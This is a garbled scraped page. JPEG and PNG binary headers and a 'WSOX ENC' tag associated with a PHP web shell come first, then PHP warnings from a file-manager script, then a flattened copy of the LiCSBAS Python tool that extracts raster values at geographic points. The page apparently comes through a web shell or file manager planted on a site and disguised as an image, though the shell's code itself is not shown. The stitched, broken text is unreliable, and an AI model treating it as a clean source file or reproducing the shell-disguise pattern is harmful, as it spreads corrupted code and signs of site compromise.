1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
#!/usr/bin/env python3 """ v1.1 20191218 Yu Morishita, Uni of Leeds and GSI ======== Overview ======== This script gets values (and x/y coordinates) from a float32 file at specified points in geographical coordinates. Average values in a boxcar window are also output. ===== Usage ===== LiCSBAS_get_value_geo.py -i infile -p dempar -l locfile [-o outfile] [--win_size int] [--bigendian] -i Input file (float, little endian, geocoded) -p Dem parameter file (EQA.dem_par) -l Text file of lists of point locations (lat lon) -o Output text file (Default: [locfile]v.txt) Format: lat lon x y value value_avg (x/y start from 0) --win_size Window size of boxcar averaging, must be odd integer (Default: 3) --bigendian If input file is in big endian """ #%% Change log ''' v1.1 20191218 Yu Morishita, Uni of Leeds and GSI - Add win_size option v1.0 20190801 Yu Morishita, Uni of Leeds and GSI - Original implementationf ''' #%% Import import getopt import os import sys import time import numpy as np import LiCSBAS_io_lib as io_lib class Usage(Exception): """Usage context manager""" def __init__(self, msg): self.msg = msg #%% Main def main(argv=None): #%% Check argv if argv == None: argv = sys.argv start = time.time() ver=1.1; date=20191218; author="Y. Morishita" print("\n{} ver{} {} {}".format(os.path.basename(argv[0]), ver, date, author), flush=True) print("{} {}".format(os.path.basename(argv[0]), ' '.join(argv[1:])), flush=True) #%% Set default infile = [] dempar = [] locfile = [] outfile = [] endian = 'little' win_size = 3 #%% Read options try: try: opts, args = getopt.getopt(argv[1:], "hi:p:l:o:", ["help", "win_size=", "bigendian"]) except getopt.error as msg: raise Usage(msg) for o, a in opts: if o == '-h' or o == '--help': print(__doc__) return 0 elif o == '-i': infile = a elif o == '-p': dempar = a elif o == '-l': locfile = a elif o == '-o': outfile = a elif o == '--win_size': win_size = int(a) elif o == '--bigendian': endian = 'big' if not infile: raise Usage('No input file given, -i is not optional!') elif not os.path.exists(infile): raise Usage('No {} exists!'.format(infile)) elif not dempar: raise Usage('No dempar file given, -p is not optional!') elif not os.path.exists(dempar): raise Usage('No {} exists!'.format(dempar)) elif not locfile: raise Usage('No location file given, -l is not optional!') elif not os.path.exists(locfile): raise Usage('No {} exists!'.format(locfile)) elif win_size % 2 == 0: raise Usage('win_size must be odd integer!') except Usage as err: print("\nERROR:", file=sys.stderr, end='') print(" "+str(err.msg), file=sys.stderr) print("\nFor help, use -h or --help.\n", file=sys.stderr) return 2 #%% Read info if not outfile: outfile = locfile.replace('.txt', '')+'v.txt' width = int(io_lib.get_param_par(dempar, 'width')) length = int(io_lib.get_param_par(dempar, 'nlines')) win_half = int((win_size-1)/2) ### Geo info dlat = float(io_lib.get_param_par(dempar, 'post_lat')) dlon = float(io_lib.get_param_par(dempar, 'post_lon')) lat_n = float(io_lib.get_param_par(dempar, 'corner_lat')) #grid reg lon_w = float(io_lib.get_param_par(dempar, 'corner_lon')) #grid reg ### Location list with open(locfile) as f: latlon_list = f.readlines() latlon_list = [ [float(j) for j in i.strip().split()] for i in latlon_list ] ### float file data = io_lib.read_img(infile, length, width, endian=endian) #%% Make txt file f = open(outfile, 'w') print('# lat lon x y value value_avg(win_size:{})'.format(win_size), file=f) for lat, lon in latlon_list: ### Identify x/y from lat/lon x = int(np.round((lon-lon_w)/dlon)) y = int(np.round((lat-lat_n)/dlat)) if x >= width or x < 0 or y >= length or y < 0: ### If outside of area x = y = value = value_avg = np.nan else: ### Inside value = data[y, x] ### Average x1 = x-win_half if x >= win_half else 0 ## to avoid negative value of x1 y1 = y-win_half if y >= win_half else 0 ## to avoid negative value of y1 x2 = x+win_half+1 y2 = y+win_half+1 if not np.all(np.isnan(data[y1:y2, x1:x2])): value_avg = np.nanmean(data[y1:y2, x1:x2]) else: value_avg = np.nan print('{} {} {} {} {} {}'.format(lat, lon, x, y, value, value_avg), file=f) f.close() #%% Finish elapsed_time = time.time()-start hour = int(elapsed_time/3600) minite = int(np.mod((elapsed_time/60),60)) sec = int(np.mod(elapsed_time,60)) print("\nElapsed time: {0:02}h {1:02}m {2:02}s".format(hour,minite,sec)) print('\n{} Successfully finished!!\n'.format(os.path.basename(argv[0]))) print('Output: {}\n'.format(outfile), flush=True) #%% main if __name__ == "__main__": sys.exit(main())